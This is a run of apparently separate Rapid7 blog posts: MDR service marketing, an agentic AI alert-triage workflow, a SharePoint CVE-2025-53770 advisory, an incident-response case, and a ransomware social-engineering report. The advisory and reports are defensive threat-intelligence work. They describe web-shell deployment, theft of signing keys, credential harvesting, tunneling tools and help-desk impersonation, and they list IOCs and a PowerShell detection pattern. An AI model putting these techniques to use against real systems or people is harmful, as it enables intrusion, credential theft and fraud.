Any MDR organization can offer some support. Whether you choose a pure-play provider that brings its own technology or a BYO approach where you maintain control over platforms, most MDR offerings will give you help when you need it. Most of the time.

But not all MDRs are created equal.

The size of the team and the flashiness of the tech stack don’t count for much if they don’t lead to better outcomes. When you’re evaluating providers, it’s easy to be drawn in by a recognizable brand or a long list of features. But the real question is this: what do those features actually deliver? After all, your goal is not more tools. It’s stronger security.

In this post, we’ll explore how service, trust, and experience directly affect your ability to stay ahead of threats. Choosing the right partner can make all the difference.

What MDR providers actually provide

At its core, MDR is an extension of your SOC. It fills the gaps, whether that’s expertise, bandwidth, or focus, and provides the time and attention needed to keep up with a threat landscape that never slows down. But the most effective MDRs don’t stand out because of their tools. They stand out because of their people.

Anyone can offer 24/7 support. But who’s on the other end of that alert? Do they understand your environment? Do they have the training, experience, and judgment to act fast and with confidence when it matters most? Do they follow through to resolution or simply pass the issue back to you?

That’s what separates a provider from a true partner.

At Rapid7, our SOC is built on deep, hands-on expertise. Our analysts don’t just monitor. They hunt. They proactively investigate suspicious behavior, fine-tune detections, and provide guidance based on real-world context. They know your infrastructure, your risks, and your business priorities.

And when something does go wrong, we stay with you. Rapid7 MDR includes unlimited incident response. We don’t hand off tickets or charge by the hour. We stay on the case from detection to resolution, providing full support across investigation, containment, remediation, and follow-up.

That kind of persistence and precision is what turns promises into results.

Reputations built on trust

In security, reputation isn’t built on branding. It’s built through outcomes. Trust comes from showing up consistently, solving problems quickly, and understanding the full picture—not just the symptoms.

Think of it like buying a car. You don’t just look at the color or the dashboard screen. You care about the performance, the reliability, and the feel of the drive. That reputation is earned through years of engineering and design.

The same idea applies to MDR. But instead of engines and interiors, the components are world-class analysts, responsive advisors, and threat hunters who understand what makes your attack surface unique. They don’t just find threats. They help you prevent them from happening again.

“Why Rapid7? It’s the technology and the people. That’s the core point. It’s that true partnership.” -  Alan Simpson, Senior Security Operations Manager, Keyloop

At Rapid7, we hear time and again that our customers value the confidence and clarity we bring to their teams. They know we understand their challenges. They trust us to act fast, stay focused, and support them with both expertise and empathy. That’s the reputation we’ve earned, and it’s one we bring to every engagement.

Why it all matters

Your ability to detect and respond to threats quickly and decisively is what defines your security posture. In today’s environment, generic solutions and lightweight coverage simply aren’t enough.

Rapid7’s MDR isn’t built to check the box. It’s built to help you succeed. With unlimited incident response, proactive threat hunting, and a team that knows your environment inside and out, we don’t just provide coverage. We provide security that works.

Because when it comes down to it, staying ahead of the attackers is what matters most. With Rapid7, you may be outnumbered - but you're never outmatched.

Keep exploring

Want to learn how to evaluate MDR solutions based on outcomes, not just features? Download the Complete MDR Buyer’s Guide.

For too long, security automation has meant rigid workflows and shallow actions. SOAR tools promised relief but often delivered brittle playbooks that broke with nuance or failed to adapt effectively to evolving threats or new data sources. Meanwhile, threat actors have evolved to think faster, act smarter, and scale with AI. Our defenses need to do the same.

At Rapid7, our view of the future of cybersecurity combines deep human expertise with intelligent systems that perceive, reason, and act with autonomy. Today, we’re proud to introduce agentic AI workflows, powered by the Rapid7 AI Engine: a system that brings structured thinking, deep analysis, and scalable decision-making to every investigation within our next-gen SIEM.

Rapid7’s global Security Operations Center (SOC) has always been driven by expert analysts who follow proven, disciplined workflows and playbooks to deliver consistent service to our customers. They work directly out of our next-gen SIEM to bring transparency and streamlined delivery to customers. Every alert is assessed rigorously: oriented, enriched, and investigated, before a response is delivered. With agentic AI workflows, we’re now scaling those principles through agentic AI, giving analysts and customers an AI partner capable of performing the same structured investigative process they’ve been conducting, visible in the same platform in seconds.

Introducing agentic AI workflows to the Rapid7 SOC

This is where things get exciting. With agentic AI workflows we’ve reimagined how an alert gets investigated by building an intelligent partner that knows how to think, plan, and act — and surfaces the right insights to human analysts for action.

Let’s walk through how it works, step-by-step:

• Getting oriented: The moment an alert page loads, the agent initiates the workflow. It’s not just scanning — it’s perceiving the environment, actively taking in the alert details to build a mental model of what’s going on. Think of it as the digital equivalent of an analyst reading the room.

• Calling in the specialists: If the alert contains enough information, the agent taps our deterministic ML models. These are specialist models that can make fast, confident decisions — and if they can disposition the alert, the agent knows to pass it along. It’s teamwork in action.

• Digging deeper: If there’s not enough to go on, the agent doesn’t give up. Instead, it kicks off the next phase — seeking out more information, gathering related logs, history, and context. It’s re-orienting, expanding its situational awareness.

• Thinking it through: Now the real reasoning begins. The agent evaluates what it knows, considers what’s missing, and forms a plan. It's using our documented playbooks and best practices, combined with the context to figure out what questions to ask and how to find the answers.

• Executing the plan: Then comes action. The agent executes its plan autonomously — querying data sources, analyzing results, connecting the dots. And importantly, it documents everything along the way. It’s like having an analyst that never loses focus.

• Pulling it all together: Finally, the agent steps back, reviews all the information it’s gathered, and reasons about what it all means. It forms a conclusion, identifies the next steps, and packages that insight for the human analyst action. And here’s the key: the human is still in control. The Rapid7 AI Engine doesn't override; it empowers.

Everything evaluated and surfaced is transparent, traceable, and explainable. You can see its entire train of thought directly within our next-gen SIEM — what it did, why it did it, and how it reached its recommendation. The agentic AI workflow assembles evidence, draws conclusions, and delivers it all in a way that sharpens and accelerates human judgement, rather than replacing it. 

The OSCAR Framework: A proven methodology for investigations

At the heart of every great investigation is a proven structure. The Rapid7 SOC leverages the OSCAR framework — a repeatable, rigorous approach to alert triage and resolution. It ensures investigations are efficient, consistent, and complete. Here's how it works:

• Orient: Analysts begin by reviewing the initial alert signal and its metadata. They determine what’s known, what’s missing, and what context is needed to make sense of the activity.

• Strategize: Based on the alert type, potential severity, and initial signal clarity, the analyst forms an approach: Can the issue be resolved with current data, or will it require deeper investigation?

• Collect: The analyst begins data gathering. This might include historical context on the user or asset, similar past alerts, endpoint activity logs, authentication records, or threat intel correlations.

• Analyze: With data in hand, the analyst interprets findings: looking for behavior patterns, verifying anomaly authenticity, and cross-referencing indicators of compromise or known malicious behaviors.

• Report: Once the investigation is complete, the analyst summarizes their findings, outlines recommended actions, and shares outcomes with the response team or customer for final decisions and remediation.

This method isn’t just thorough, it’s teachable, scalable, and ideal for embedding into an intelligent system. With agentic AI, every step of OSCAR can be mirrored, executed autonomously, and presented for human validation to deliver speed without compromising depth.

Engineered for trust, built for scale

At Rapid7, AI isn’t a bolt-on or a black box. It’s a deeply integrated component of our next-gen SIEM, trained on workflows designed by our own SOC experts, and refined through continuous real-world application. Today, we’ve built the Rapid7 AI Engine to inject intelligence directly within the SOC workflow, flagging anomalous behavior, triaging alerts with leading accuracy, working through the investigation lifecycle, and delivering transparent outputs for analysts and customers.

But trust isn’t just about delivering results. It’s about how those results are achieved, and whether customers can understand, verify, and rely on them. That’s why our approach to AI is grounded in our TRiSM framework: Transparency, Risk management, Security, and Model governance.

We’ve aligned our practices with leading standards like the NIST AI Risk Management Framework and the Open Standard for Responsible AI. That means we build AI systems with clear safeguards, evaluate them throughout their lifecycle, and hold ourselves accountable for their behavior. Transparency isn’t an afterthought; it’s built in, with every action logged and explainable inside InsightIDR.

For us, AI isn’t just a feature — it’s a responsibility. And we’re committed to innovating in a way that’s not only intelligent, but also intentional, delivering real results for SOCs around the world:

• 200+ analyst hours saved per week

• Reduced false positives with 99.93% AI triage benign disposition accuracy

• Zero friction for customers

The future of investigations is here

Agentic AI workflows are now starting to roll out for all MDR customers. Want to learn how Rapid7’s Managed Detection and Response service can help your team scale smarter and respond faster? Reach out to our team to see how agentic AI can elevate your security outcomes from day one.

With our recently announced agentic AI workflows, we're encoding OSCAR as a model of reasoning by embedding a disciplined investigation strategy directly into our next-gen SIEM. This operationalizes analysts’ best habits at speed and scale, and extends their ability to make informed decisions using the investigative discipline they already rely on.

OSCAR, encoded with intent 

Every investigation begins with Obtain, a phase that goes beyond reading the alert. The AI agent builds a mental map; it parses the alert signal, evaluates metadata against current asset intelligence, and identifies what context is immediately available versus what is missing. For example, it may assess whether the impacted system recently changed users, is running newly deployed software, or sits within a sensitive network segment. This orientation defines the scope and hypotheses for the investigation.

In Strategize, the agent draws from documented playbooks, but doesn’t follow them blindly. It assesses the volatility of the signal, the confidence level of any existing model classifications, and even prior alert outcomes for similar contexts. Is this a routine trigger, or does the surrounding telemetry suggest escalation potential? Strategizing helps map the right approach and keep the investigation focused and proportionate to the risk.

The Collect phase prioritizes relevance over volume. The agent interrogates sources contextually by reviewing alert history, target system behavior, and related log data to assemble a coherent picture. This is built to include user behavior analytics, endpoint telemetry, and enrichment from threat intelligence. Rather than defaulting to static queries, it adapts based on mid-investigation findings. If an unusual parent process emerges, it expands to include sibling process behavior; if geolocation anomalies surface, it pivots to identity and access logs.

During Analyze, the system applies behavioral modeling, pattern matching, and sequence reconstruction to weigh potential indicators of compromise. It surfaces inconsistencies, outliers, and supporting evidence, correlating across multiple data points to form defensible narratives.Reflecting real analyst findings, this process is iterative, contextual, and grounded in human judgment.

In Report, the agent compiles its findings with structured rationale: outlining the chain of logic, the confidence of disposition, and any assumptions made along the way. This delivers both a conclusion and a clear account of how that conclusion was reached, arming analysts with context they can trust and act on.

This applied investigation logic – designed to be transparent, traceable, and aligned with analyst intuition – represents a significant expansion beyond workflow automation without compromising consistency.

What it means for customers

We’re already seeing the impact of AI in the Rapid7 SOC:

• 200+ analyst hours saved per week, reducing fatigue and reallocating talent to proactive defense.

• 99.93% benign disposition accuracy, driving confidence in triage precision.

• Seamless transparency via the SIEM, enabling agentic outputs to appear alongside traditional investigation artifacts.

The efficiency gains within our SOC, and resulting benefits for customers, reflect a shift in how work gets done today. With foundational triage increasingly handled by the AI engine, analysts can now focus their time and cognitive energy on the complex, ambiguous, or higher-stakes investigations that benefit most from human insight. This allows SOCs to respond faster and smarter, tackling multi-stage intrusions, lateral movement, and evasive behaviors with more focus and fewer distractions.

Agentic AI enables every alert to benefit from the same structured scrutiny our top analysts bring to priority cases – ensuring quality doesn’t degrade with volume and empowering analysts to elevate their role in the detection and response lifecycle.

Structured reasoning, transparent execution

Trust in AI needs more than results, it requires clarity and evidence. That’s why every action taken by the agent is recorded and explainable. Security leaders can inspect both the outcome and the thought process, providing auditability for internal teams and external stakeholders alike.

With agentic AI and the OSCAR framework, we’re scaling human judgment with machine speed. And in today’s threat landscape, that may be the most important shift a SOC can make. To learn more about how agentic AI is empowering Rapid7 MDR, get in touch with an expert.

On Saturday July 19, 2025, Microsoft released an advisory for CVE-2025-53770, a critical Remote Code Execution (RCE) vulnerability affecting on-premise SharePoint servers. This vulnerability has been exploited in the wild as a zero-day by an unknown threat actor prior to the disclosure from Microsoft. The vulnerability is described as an unauthenticated deserialization of untrusted data issue, and has a CVSS base score of 9.8 (Critical). 

This vulnerability is being used in widespread, aggressive campaigns to achieve RCE, establish persistent access, and extract cryptographic keys that allow attackers to forge valid authentication tokens. This campaign is not opportunistic - it is deliberate, capable, and designed for persistence even after patching. Rapid7 has observed active exploitation in customer environments and is sharing indicators of compromise, and detection guidance to help defenders respond quickly.

Microsoft has described CVE-2025-53770 as being related to a previous vulnerability, CVE-2025-49704. CVE-2025-49704 was patched in July 2025. It appears that the new vulnerability, CVE-2025-53770, is a patch bypass. Microsoft has indicated that the patches for the new vulnerability, CVE-2025-53770, include more “robust protections” than the July update for the previous vulnerability CVE-2025-49704.

Microsoft has also released an advisory for a second new vulnerability, CVE-2025-53771. It is currently unclear if this second vulnerability is also being exploited in the wild as part of an exploit chain with CVE-2025-53770. Microsoft has indicated that the patches for CVE-2025-53771 also include more “robust protections” than the July update for another previous vulnerability CVE-2025-49706.

To understand why the two new vulnerabilities CVE-2025-53770 and CVE-2025-53771 are related to two previous vulnerabilities CVE-2025-49704 and CVE-2025-49706, we must clarify what those older vulnerabilities are.

The previous vulnerability, CVE-2025-49704, was part of an exploit chain demonstrated at the Pwn2Own hacking competition in May of 2025. During the competition, Viettel Cyber Security chained together two vulnerabilities, an authentication bypass (CVE-2025-49706), and a deserialization of untrusted data vulnerability (CVE-2025-49704) to achieve unauthenticated RCE. The Pwn2Own exploit chain from May 2025 was dubbed “ToolShell”. The new vulnerability, CVE-2025-53770, currently being exploited in the wild appears to be a patch bypass for CVE-2025-49704. It also appears that CVE-2025-53771 is a patch bypass for CVE-2025-49706, however Microsoft has indicated that CVE-2025-53771 has not been exploited in the wild.

On Sunday July 20, 2025, CISA added CVE-2025-53770 to the Known Exploited Vulnerabilities (KEV) catalog.

Mitigation guidance

The vendor has begun to supply patches for affected SharePoint editions. Customers are advised to follow the vendor guidance, and remediate this vulnerability by upgrading to a fixed version on an emergency basis, without waiting for a regular patch cycle to occur.

• Microsoft SharePoint Server Subscription Edition is fixed in build 16.0.18526.20508 (KB5002768).

• Microsoft SharePoint Server 2019 is fixed in build 16.0.10417.20037 (KB5002754).

• Microsoft SharePoint Enterprise Server 2016 is fixed in build 16.0.5513.1001 (KB5002760).

For the latest mitigation guidance, please refer to the vendor advisory.

In addition to applying available mitigations, organizations should:

• Conduct a compromise assessment, especially if SharePoint is exposed externally.

• Rotate cryptographic keys (e.g., ValidationKey, DecryptionKey) once mitigations are applied.

• Monitor for anomalous behavior on SharePoint servers and investigate any unauthorized ASPX file activity.

Rapid7 customers

MDR

Rapid7 MDR is actively detecting this activity via behavioral analytics. One effective high-confidence detection involves process chains spawned from the IIS worker process.

In particular: w3wp.exe ➝ cmd.exe ➝ powershell.exe -EncodedCommand

This pattern is not normal for SharePoint servers and should be treated as indicative of compromise and proven effective in detecting exploitation attempts of CVE-2025-53770. 

Intelligence Hub

Customers leveraging Rapid7’s Intelligence Hub can track the latest developments surrounding CVE-2025-53770, including indicators of compromise (IOCs), Yara rules and emerging TTPs.

InsightVM and Nexpose

InsightVM and Nexpose customers can assess exposure to CVE-2025-53770 and CVE-2025-53771 with authenticated checks available in the July 21 content release. Authenticated checks for CVE-2025-49704 and CVE-2025-49706 have been available since the July 8 content release.

Technical details

The exploit chain demonstrates a dangerous evolution in SharePoint exploitation techniques, blending old deserialization tricks with new methods of persistence and privilege escalation.

Initial access begins with a specially crafted POST request to the vulnerable SharePoint endpoint: /_layouts/*/ToolPane.aspx

This request leverages the way SharePoint renders controls on the page, ultimately coercing the server into executing embedded PowerShell commands. Once the attacker achieves execution, a malicious web shell named spinstall0.aspx is deployed to the server’s layouts directory.

But this is just the foothold. What follows is a more sophisticated move: the attacker issues a GET request to their web shell and extracts the ValidationKey and DecryptionKey from the SharePoint server. These cryptographic keys are fundamental to how SharePoint authenticates users and protects sensitive session data.

By stealing these secrets, attackers are no longer limited to reusing their initial exploit path. They can now forge their own authentication tokens, impersonate users, and craft valid payloads. There are tools available that make it easy to serialize malicious objects and sign them using the stolen keys. The result is full remote code execution (RCE) - without any need for the attacker to maintain access to the original vulnerable endpoint.

This technique is inspired by earlier attacks, notably CVE-2021-28474, where exploitation hinged on signing a malicious ViewState payload with the correct ValidationKey. Previously, this required access to the configuration file or memory - now, attackers simply steal those keys post-exploitation and move to the next phase.

What makes this particularly dangerous is that the persistence isn't just at the file level. Even if defenders remove the web shell or block access to ToolPane.aspx, the stolen cryptographic keys allow attackers to re-enter the environment at will, using signed payloads that are indistinguishable from legitimate traffic.

Indicators of compromise (IOCs)

IP Addresses (Observed in exploitation)

• 107.191.58[.]76

• 104.238.159[.]149

• 96.9.125[.]147

User-Agent Strings

• Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0

• URL-encoded variant for log searches: Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:120.0)+Gecko/20100101+Firefox/120.0

Malicious File

• spinstall0.aspx (web shell)

• SHA256: 92bb4ddb98eeaf11fc15bb32e71d0a63256a0ed826a03ba293ce3a8bf057a514

• Disk path: C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx

Updates

• July 22, 2025: Added new remediation info for Microsoft SharePoint Enterprise Server 2016. Clarified that InsightVM checks shipped on July 21.

The MDR problem statement

The need for MDR has never been clearer. Security leaders are navigating a perfect storm of alert fatigue, talent shortages, and increasingly complex hybrid environments. Attackers are moving faster, using automation and AI to scale their operations. Meanwhile, internal teams struggle to triage thousands of alerts, stay ahead of threats, and prove the value of their efforts.

According to Gartner, 60% of businesses will rely on MDR services by 2025 to extend their SOC’s reach (1). But not all MDR is created equal. Many services stop short at detection or pass off alerts without context. Rapid7 MDR goes further.

What makes Rapid7 MDR different

Rapid7 MDR delivers 24/7, expert-led detection and response across every layer of your environment, from endpoint to cloud, identity to network. Our AI-powered triage cuts through alert noise with 99.93% accuracy, giving analysts time back to focus on real threats. Our global SOC actively investigates and contains attacks in real time, while our platform integrates cleanly with your existing SIEM and XDR workflows. With named advisors guiding your strategy and total visibility into our operations, you get more than alerts. You get a partner that thinks like an attacker and acts like an extension of your team.

It’s MDR that thinks like an attacker, but acts like a teammate.

Start here: two essential guides for MDR success

To help you take the next step in your detection and response strategy, we’re releasing two cornerstone resources:

• The Complete MDR Buyer’s Guide: What to look for, what to ask, and how to choose the right partner for your business.

• Scaling MDR Outcomes with AI, Powered by AWS eBook: An inside look at how our SOC uses generative AI and agentic automation to investigate and respond to threats at scale.

These assets are designed to help your team evaluate MDR options with clarity and confidence.

Why it matters now

Cybercrime is scaling like a business. AI-powered attacks, ransomware-as-a-service, and identity-based breaches are no longer edge cases. They’re everyday threats. And most teams can’t fight back alone.

Rapid7 MDR was built to close the gap between signal and response, risk and action, burnout and resilience.

Get started

Download the buyer’s guide. Explore the AWS eBook. And see how Rapid7 helps teams move faster, act smarter, and stay in control—even when they’re outnumbered.

(1) Source: Gartner, Market Guide for Managed Detection and Response Services, February 2023

This recognition comes as global security teams face steadily increasing pressure to do more with less, i.e. improve threat coverage, reduce operational complexity, and demonstrate security program value. As the MDR market matures, so do (and should) expectations from customers. This year’s Radar highlights the providers best positioned to deliver on those expectations by balancing advanced technology, proven service delivery, and a clear strategy for addressing the cybersecurity resilience needs of modern organizations.

Why Frost & Sullivan positioned Rapid7 as a Leader

Frost & Sullivan considered 120 MDR vendors and evaluated 19 leaders in its Innovation and Growth index.
Rapid7’s placement as a Leader reflects our long-standing investment in core detection and response capabilities, alongside our ability to scale those innovations across a growing and diverse customer base.
Key contributors to our leadership, as highlighted by Frost & Sullivan, include:

• Deep integration between MDR and exposure management, allowing organizations to close the loop between detection and risk with attack surface monitoring and risk-aware response

• AI-powered triage and investigation support, delivering 200+ hours in weekly SOC time savings while maintaining 99.93% benign alert triage accuracy and full transparency into decision logic

• Shared, unified platform experience, giving customers direct access to the same tools our analysts use for investigation, detection, and response

• Support for over 180 native and third-party integrations, enabling visibility and protection across hybrid environments without requiring tool rip-and-replace

“Rapid7 focuses on delivering visibility, transparency, and peace of mind for its customers… aligning the development of its platform and service model to the most important mega trends in the space, such as AI-powered SOCs, third-party integration, preventative features, and more.” Frost & Sullivan, 2024 Frost Radar: MDR

The Market is catching up to the promise of MDR

Rapid7’s placement as a Leader in this Frost & Sullivan Radar comes at a pivotal moment for the MDR market. Organizations are no longer just looking for alert triage or outsourced detection – they need integrated, outcome-driven security operations. The convergence of detection response and exposure management, paired with the emergence of AI as a force multiplier, is reshaping what MDR must deliver to customers.

Security teams today are tasked with more than stopping threats quickly – they must understand how those threats intersect with asset exposure and business risk. That requires an MDR partner that can integrate broad security telemetry, threat intelligence and contextual risk into a single platform for action. Without that connective tissue, SecOps is stuck in reactive cycles and fragmented experiences.

It is not enough for SecOps teams to ‘tick the box’ with an MDR provider, it is about delivering measurable outcomes. That means faster time to detect and respond, higher fidelity investigations, and reduced risk across the attack surface. To scale those outcomes, intelligent automation and agentic AI must be part of the approach. While human expertise remains essential for judgement and escalation, AI is critical for accelerating workflows, enhancing accuracy and extending the capacity of the SOC through autonomous technology.

That’s the future we’re building at Rapid7 – and why Frost & Sullivan recognized us as a Leader in MDR. We’re delivering the outcomes customers need today and innovating toward what they’ll demand tomorrow.

Interested in learning more about Rapid7’s approach to Managed Detection and Response? Let’s discuss how you can be part of this future.

Executive summary

Rapid7’s Incident Response (IR) team was engaged to investigate an incident involving an attempted Cobalt Strike execution. The investigation uncovered twists and turns with pre-ransomware activities, tunneling tools, and attackers taking a page out of the defender’s playbook. The attacker took careful steps to maintain access to the environment through persistence that mimicked normal user behavior. This blog covers the techniques, indicators of compromise (IoCs), and detections for Rapid7 customers.

Observed attacker behavior

In this incident, the attacker executed an elegantly obfuscated PowerShell command to establish a Cobalt Strike beacon. Cobalt Strike (CS) is often used after an attacker has gained a comfortable foothold in an environment; CS is a powerful and dynamic tool useful for maintaining persistent access and executing commands remotely. As with any IR investigation, it was imperative to gather answers effectively, beginning with knowing which questions to ask: where did CS attempt to execute, who attempted to execute it, what other malicious activity occurred, and — most importantly — how did an attacker get to this point in the first place?

Initial scoping

The first step in answering these questions involved compiling a list of IoCs from the identified activity. To start, these IoCs included Command & Control (C2) information (e.g., hardcoded IP addresses and the domains they resolve to) extracted from the obfuscated PowerShell command, and the name of the account that executed it. Searching for references to IoCs can reveal further information, including other malicious commands executed by the compromised account, other compromised assets, and other compromised accounts. As new IoCs are identified, it is critical to add each to the growing list and search for further references to them across the environment. Once compromised assets and accounts are identified, a containment strategy must be developed. Quarantining assets, disabling accounts, blocking host and network-based IoCs, and disabling remote services can all aid in containing a compromise before an attacker can attain their goals.

Following the initial scoping and containment measures, the investigation turned to reconstructing the attacker’s path through the environment in a timeline. This structure keeps focus on answering the most important questions, sheds light on the attacker’s goals, and identifies gaps that require deeper investigation. At the very end of this timeline was the attempted execution of a malicious batch script. The script’s name, location, and method of execution shared similarities to known ransomware tactics, techniques, and procedures (TTPs). Thankfully, the script’s execution was blocked by the endpoint security tooling used in the environment, and the typical pre-ransomware activity, such as disabling event logging, deleting backups, and killing processes, was not observed. This discovery revealed the attacker’s goals; however it did not provide insight into how the attacker moved through the environment to get to this point, where the attacker acquired the credentials allowing such movement, or when the attacker first gained access to the environment.

Lateral movement with tunneling tools

The first major breakthrough was identifying the execution of PuTTY Link (Plink) and Cloudflare Tunnel (Cloudflared), two versatile network traffic tunneling tools that allow a user to connect to network resources that might otherwise be inaccessible. Although the network tunneling tools were executed on a relatively small number of assets, the implications of an attacker abusing them loomed overhead. With either tool it would be simple to set up a Remote Desktop Protocol (RDP) or Secure Shell (SSH) connection between a compromised asset and attacker-controlled infrastructure for remote authentication, remote code execution (RCE), or both.

The attacker used Plink first, attempting to set up tunnels to external IP addresses for future RCE. Fortunately, each attempt was automatically blocked by endpoint security tooling. After those repeated failures, Cloudflared was introduced and used throughout the rest of the compromise. Why was Cloudflared successful where Plink had failed, when both tools produce similar results? The major difference was that while Plink attempted to establish connections directly to external C2 servers, Cloudflared proxied all external traffic through Cloudflare’s legitimate network. Since the compromised environment routed their network traffic through Cloudflare, the Cloudflared tool was able to establish and maintain malicious connections without trouble. This served the attacker well as both a means of successful network communication and defense evasion; the true IP addresses and domains associated with their C2 servers were not directly recorded, and their malicious traffic blended in amongst normal traffic generated in the environment.

Beyond the expected communication with malicious external resources, Cloudflared was used for both RDP and SSH sessions between internal assets in the compromised environment as a method for lateral movement. However, the attacker took Cloudflared’s capabilities a step further by setting up network tunnels between internal assets in the environment. These internal tunnels functioned as a relay — not only for traditional remote access, but also to transfer data, execute commands, and deploy malware. Such dynamic and clever usage of Cloudflared indicated that the attacker was familiar with the compromised environment, and answered the important questions of how the attacker moved throughout the environment, as well as how the attacker was able to deploy CS and execute the ransomware batch script. To continue construction of the incident’s timeline, the next major question to answer was where the attacker acquired the account credentials that allowed for this lateral movement.

Credential access with FTK imager

Credential access and harvesting can be performed through a plethora of techniques. Sometimes accounts have weak passwords that can be easily guessed, or poor security controls like a lack of multi-factor authentication (MFA). Other times password hashes, cached logon information, and LSA secrets are collected from registry hives or dumped from the memory of vital Windows processes like LSASS. These more complex credential harvesting methods require a deeper understanding of how Windows stores and uses passwords in practice to properly acquire and effectively use them. In this incident, the attacker performed no less than four different methods of credential harvesting.

The first method was a classic: an Active Directory (AD) brute-forcing tool — in this case, PlusBrute — tested combinations of common account names and passwords to see if any resulted in successful authentications. Not a particularly elegant method, but certainly simple and effective when a targeted environment’s security practices may be weak or outdated. The second and third methods, using the Impacket framework and WinRAR respectively, focused on the more complex credential information stored in registry hives, which can be cracked to reveal plaintext passwords or left intact in more complex techniques. The Impacket framework, a modular and open-source collection of Python scripts, was used in an attempt to extract only the relevant credential information from select registry hives, while the file compression and archiving tool WinRAR attempted to collect entire registry hives. However, the final credential harvesting method was of particular interest: the attacker installed a legitimate digital forensics tool.

Digital forensics tools come in many varieties. Several serve hyper-specific purposes, like parsing a single type of forensic artifact into a human-readable format, while others handle a wider scope of data collection, parsing, and analysis needs. By necessity, many of these tools have the ability to collect forensic artifacts that may contain encoded credential information, such as password hashes stored in registry keys, as those forensic artifacts often contain information vital to a security incident. As this can set off many antivirus programs, some of these tools will automatically create exceptions for common antivirus software to ensure that their intended functionality is not hindered.

In this incident, the attacker installed Exterro’s legitimate and free-to-use digital forensics tool, FTK Imager, on over a dozen assets. The installation process for FTK Imager included the creation of antivirus exceptions, allowing the attacker to collect entire registry hives as well as any other forensic artifacts containing useful credential information, without risk of interruption. 

Initial access

These varied methods of credential harvesting filled in many gaps in the investigation’s timeline, and revealed where the attacker acquired the credential information necessary to move through the environment. The only question remaining was how and where the attacker first gained access to the environment. This key point of an incident is referred to as the initial access vector (IAV). Unfortunately, in many investigations, there is not enough relevant forensic data to clearly define the IAV. Despite that, there are many ways to hone in on the first few minutes of malicious activity in an incident. When an attacker first gains access to an asset, steps must be taken to understand what they have access to — it could be an individual’s home PC, or a valuable server in a corporate environment. To gather information, an attacker will execute discovery commands that provide details about the compromised asset, account, and accessible resources. In this incident, those initial discovery commands were executed by an old service account that did not require MFA for authentication. The poor security controls used by this account made it an easy target for initial access.

With these final pieces of information, the full timeline of the incident became clear. An attacker gained initial access to the environment through a service account with minimal protections. Through that service account, the attacker abused native Windows binaries to discover information about accessible and valuable assets. A series of credential harvesting techniques granted access to further accounts with high permissions, and network tunnelling tools were installed to move through the environment. Cloudflared provided the attacker with the necessary framework to deploy further malware, culminating in the attempted execution of CS and malicious scripts associated with ransomware.

MITRE ATT&CK techniques

Indicators of compromise

Rapid7 customers

Rapid7 used Velociraptor during this investigation to allow for remote triage and collection of forensic artifacts on the endpoint. Velociraptor can be leveraged for hunting IoCs at scale, refer to the Rapid7 Labs Repo here for IoCs and additional rule logic that can be applied.

InsightIDR and Managed Detection and Response customers have existing detection coverage through Rapid7's expansive library of detection rules. Rapid7 recommends installing the Insight Agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. 

Below is a non-exhaustive list of detections that are deployed and will alert on the behaviors discussed in this blog:

• Suspicious Process — SMB Activity Spike over Cloudflared Tunnel (cloudflared.exe)

• Suspicious Process — RDP Session over New Cloudflared Tunnel (cloudflared.exe)

• Attacker Technique — Plink Redirecting RDP

• Attacker Technique — Plink Redirecting SMB/CIFS

• Lateral Movement — SSH Connection to Remote IP using Plink.exe

• Endpoint Detection — Registry Dump File Written to TEMP Directory

• Credential Dumping — Reg.exe Exporting Security, System or SAM Registry Keys

• Brute Force — Failed Authentication Attempts Against Domain Account

• PowerShell — Base64/Gzip Script Content

• Collection — WinRAR Multi Filter Archive

• Attacker Technique — Suspicious Nltest Execution via RDP

There has been a significant decrease in social engineering attacks linked to the Black Basta ransomware group since late December 2024. This lapse also included the leaked Black Basta chat logs in February 2025, indicating internal conflict within the group. Despite this, Rapid7 has observed sustained social engineering attacks. Evidence now suggests that BlackSuit affiliates have either adopted Black Basta’s strategy or absorbed members of the group. The developer(s) of a previously identified Java malware family, distributed during social engineering attacks, have now been assessed as likely initial access brokers, having potentially provided historical access for Black Basta and/or FIN7 affiliates.

Overview

The first stage of the attack remains the same. The operator will flood targeted users with a high volume of emails, to the order of thousands per hour. This is often accomplished by signing the target user’s email up to many different publicly available mailing lists at once, effectively creating a denial of service attack when each service sends a welcome email. This technique is commonly known as an email bomb.

Following the email bomb, the strategy then splits between operators, though they all ultimately reach out to impacted users pretending to be a member of the targeted organization’s help desk. The majority of operators still perform this step via Microsoft Teams using either a default Azure/Entra tenant (i.e., email account ends with onmicrosoft[.]com) or their own custom domain. In rare cases however, operators, particularly those affiliated with BlackSuit, may forgo Microsoft Teams in favor of calling the targeted users directly with a spoofed number. This strategy, if successful, allows them to circumvent the cloud logging that would be recorded otherwise. For the first time, an explanation of the process written by Black Basta’s leader is also available for a summary of the process, in the context of explaining the attack to a new affiliate:

Figure 2. Black Basta’s leader explains the social engineering attack. Additional chat logs with translations are available at the Rapid7 GitHub repository

If the affiliate is able to gain the user’s confidence, they will still primarily attempt to gain access to the user’s asset — and thereby the corporate network — via Quick Assist. Quick Assist is a built-in Windows utility that allows a user to easily grant remote access to their computer to a third party. The utility has been widely abused for social engineering attacks, a trend which continues. BlackSuit affiliates in particular may also direct the user to a malicious domain that hosts a fake Quick Assist login page, for the purpose of harvesting their credentials.

Figure 3. Fake Quick Assist login page, functions as a credential harvester.

In cases where the affiliate is unable to get Quick Assist to work, they will still cycle through a variety of other popular remote access tools (e.g., AnyDesk, ScreenConnect), and if that still doesn’t work, they may simply hang up on the user and move on to the next target.

Black Basta had at least one caller template/script for this purpose:

Figure 5. A call script used by Black Basta’s operators. The full script is available at the Rapid7 GitHub repository.

Quickly obtaining reliable access to the target network is still the top priority in the early stages of the attack, typically facilitated by stealing the targeted user’s credentials. In the past this has been achieved, for example, via a QR code sent to the target user via Microsoft Teams or the download and execution of malware which creates a fake Windows authentication prompt.

Figure 6. One of Black Basta’s operators discusses the usage of QR codes for credential harvesting.

In some cases the operator who makes the initial call may also coerce the target user to provide an MFA code while still on the phone. Historically, operators will also attempt to steal VPN configuration files once remote access is established, which can allow them to authenticate directly to the network if the compromised user account is not remediated.

Figure 7. One of Black Basta’s operators discusses using stolen credentials to authenticate directly to the VPN for the targeted environment.

